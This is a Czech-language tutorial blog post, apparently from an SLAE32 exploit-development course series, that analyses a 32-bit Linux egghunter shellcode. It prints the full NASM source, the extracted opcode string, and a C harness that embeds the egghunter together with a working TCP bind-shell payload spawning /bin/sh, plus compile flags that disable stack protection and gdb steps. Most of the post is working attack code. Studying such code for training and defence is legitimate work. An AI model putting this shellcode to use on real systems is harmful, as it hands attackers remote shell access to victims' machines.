Analýza 32bitového Egghunter Shellcodu

Ve třetím textu této 32bitové série bude demonstrována analýza shellcodu egghunteru a vytvoření funkčního dema, které bude konfigurovatelné pro různé payloady.

Jako referenční materiál pro 32bitový egghunter doporučuji tento zdroj: https://www.exploit-db.com/docs/18482

Egghunter je shaged shellcode, který se používá, když potřebujeme najít větší prostor v paměti pro uložení shellcodu. Egghunter musí být velmi krátký kód, který je schopný fungovat efektivně, protože prohledat celou PE je náročné na CPU. V egghunteru je uložen krátký 4 bytový řetězec, který musí být egghunterem nalezen v paměti 2x (pro zamezení kolize s egghunterem samotným). Egghunter může fungovat mnoha způsoby, pravděpodovně nejvhodnější implementace na Windows je pomocí syscallů NtDisplayString, nebo NtAccessCheck s provedenými malými modifikacemi. V tomto textu bude použit egghunter na Linux, který bude zneužívat syscall access a VAS. Jako zdroj budeme využívat výborný text od Skape.

  • less /usr/include/i386-linux-gnu/asm/unistd_32.h | grep access
    • #define __NR_access 33 = EAX 0x21
  • int access(const char *pathname, int mode)
    • pathname = argument for address validation
    • mode = accessibility check
; Filename: egghunter.nasm
; Author: SLAE-14209
 
global _start
 
section .text
 
_start:
 
    xor eax, eax           ; zeroize EAX register
    xor ebx, ebx           ; zeroize EBX register
    xor ecx, ecx           ; zeroize ECX register
    xor edx, edx           ; zeroize EDX register
 
align_page:
    or dx, 0xfff           ; PAGE_SIZE 4095 bytes -> EDX
    
next_address:
    inc edx                ; EDX +1
    lea ebx,[edx+0x4]      ; cmp EBX and EDX+4
    push byte +0x21        ; syscall access()
    pop eax                ; pop 0x21 -> EAX 
    int 0x80               
    cmp al, 0xf2           ; cmp EAX=0xf2? (efault)
    jz align_page          ; if efault happens go back and start again
    mov eax,0x50905090     ; if no efault happen, then store into eax egg = 0x50905090
    mov edi, edx           ; EDX -> EDI
    scasd                  ; cmp EDI == EAX? EDI+4
    jnz next_address       ; if not match jump to next address
    scasd                  ; cmp EDI == EAX? EDI+4
    jnz next_address       ; if not match jump to next address
    jmp edi                ; if match jump to shellcode

Celý nasm soubor můžete nalézt zde: https://github.com/Pal1Sec/SLAE32/blob/master/Assignment%203/egghunter.nasm

Soubor zkompilujeme:

  • nasm -f elf32 -o egghunter.o egghunter.nasm
  • ld egghunter.o -o egghunter
  • objdump -d ./egghunter |grep ‘[0-9a-f]:’|grep -v ‘file’|cut -f2 -d:|cut -f1-6 -d’ ‘|tr -s ‘ ‘|tr ‘\t’ ‘ ‘|sed ‘s/ $//g’|sed ‘s/ /\\x/g’|paste -d ” -s |sed ‘s/^/”/’|sed ‘s/$/”/g’

“\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\x81\xca\xff\x0f\x42\x8d\x5a\x04\x6a\x21\x58\xcd\x80\x3c\xf2\x74\xee\xb8\x90\x50\x90\x50\x89\xd7\xaf\x75\xe9\xaf\x75\xe6\xff\xe7”

Vytvoříme C soubor:

#include <stdio.h>  
#include <string.h>  
  
#define EGG "\x90\x50\x90\x50"
 
unsigned char egghunter[] = \
"\x31\xc0\x31\xdb\x31\xc9"
"\x31\xd2\x66\x81\xca\xff"
"\x0f\x42\x8d\x5a\x04\x6a"
"\x21\x58\xcd\x80\x3c\xf2"
"\x74\xee\xb8"
EGG
"\x89\xd7\xaf\x75\xe9"
"\xaf\x75\xe6\xff\xe7";
 
// shell_bind_tcp port 9001 ip = 127.0.0.1 (we can easily replace it with something else)
 
unsigned char shellcode[] = EGG EGG \
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc7\x31\xc0\x66\xb8\x69\x01\x89\xfb\x31\xc9\x51\x51\x66\x68\x23\x29\x66\x6a\x02\x89\xe1\xb2\x10\xcd\x80\x31\xc0\x66\xb8\x6b\x01\x89\xfb\x31\xc9\xcd\x80\x31\xc0\x66\xb8\x6c\x01\x89\xfb\x31\xc9\x31\xd2\x31\xf6\xcd\x80\x31\xff\x89\xc7\xb1\x03\x31\xc0\xb0\x3f\x89\xfb\xfe\xc9\xcd\x80\x75\xf4\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
 
int main()
{
printf("Egg Location: %p\n", shellcode);  
printf("Egghunter size: %d\n", strlen(egghunter));
printf("Shellcode size: %d\n", strlen(shellcode));  
int (*ret)() = (int(*)())egghunter;  
ret();
}

Zkompilujeme:

  • gcc -fno-stack-protector -z execstack shellcode.c -o shellcode

Jak můžeme vidět, egghunter s bind shellcodem funguje.

Následně můžeme analyzovat shellcode, použijeme gdb:

  • gdb ./shellcode -q
  • set disassembly-flavor intel
  • break *&egghunter
  • run
  • disassemble

Definujeme si hook-stop k zobrazení každého registru během každého kroku:

  • define hook-stop
    • print/x $eax
    • print/x $ebx
    • print/x $ecx
    • print/x $edx
    • print/x $edi
    • x/4bx $edi
    • info registers eflags
    • disassemble
  • end

Po pár stepi příkazech můžeme vidět, že EBX = 1004 a EDX = 1000. V dalším kroku bude porovnání obou hodnot.

Můžeme vidět, tak jak bylo předpokládáno, že hodnoty EBX a EDX o 1000 na 0x2004 a 0x2000.


Nastavíme breakpoint na instrukci JMP EDI -> break *0x00404067 a jakmile dosáhneme nového breakpointu vidíme, že registr EDI obsahuje náš shellcode:

https://github.com/Pal1Sec/SLAE32/blob/master/Assignment%203/shellcode.c

Všechny použité soubory můžete nalézt zde: https://github.com/Pal1Sec/SLAE32

Naše služby

Penetrační testování infrastruktury

Skenování zranitelností webových aplikací a interní infrastruktury

Testování pomocí metod sociálního inženýrství

Testování Wi-Fi sítí

Šifrovaný telefon

Rušičky odposlechů

Šifrovaný disk

Penetrační testování webových aplikací

Konzultace IT bezpečnosti

Vyhledávání odposlechů

Následující příspěvek
32bitový Custom Encoder
Předchozí příspěvek
Shell_Reverse_Tcp 32bitový Shellcode
Menu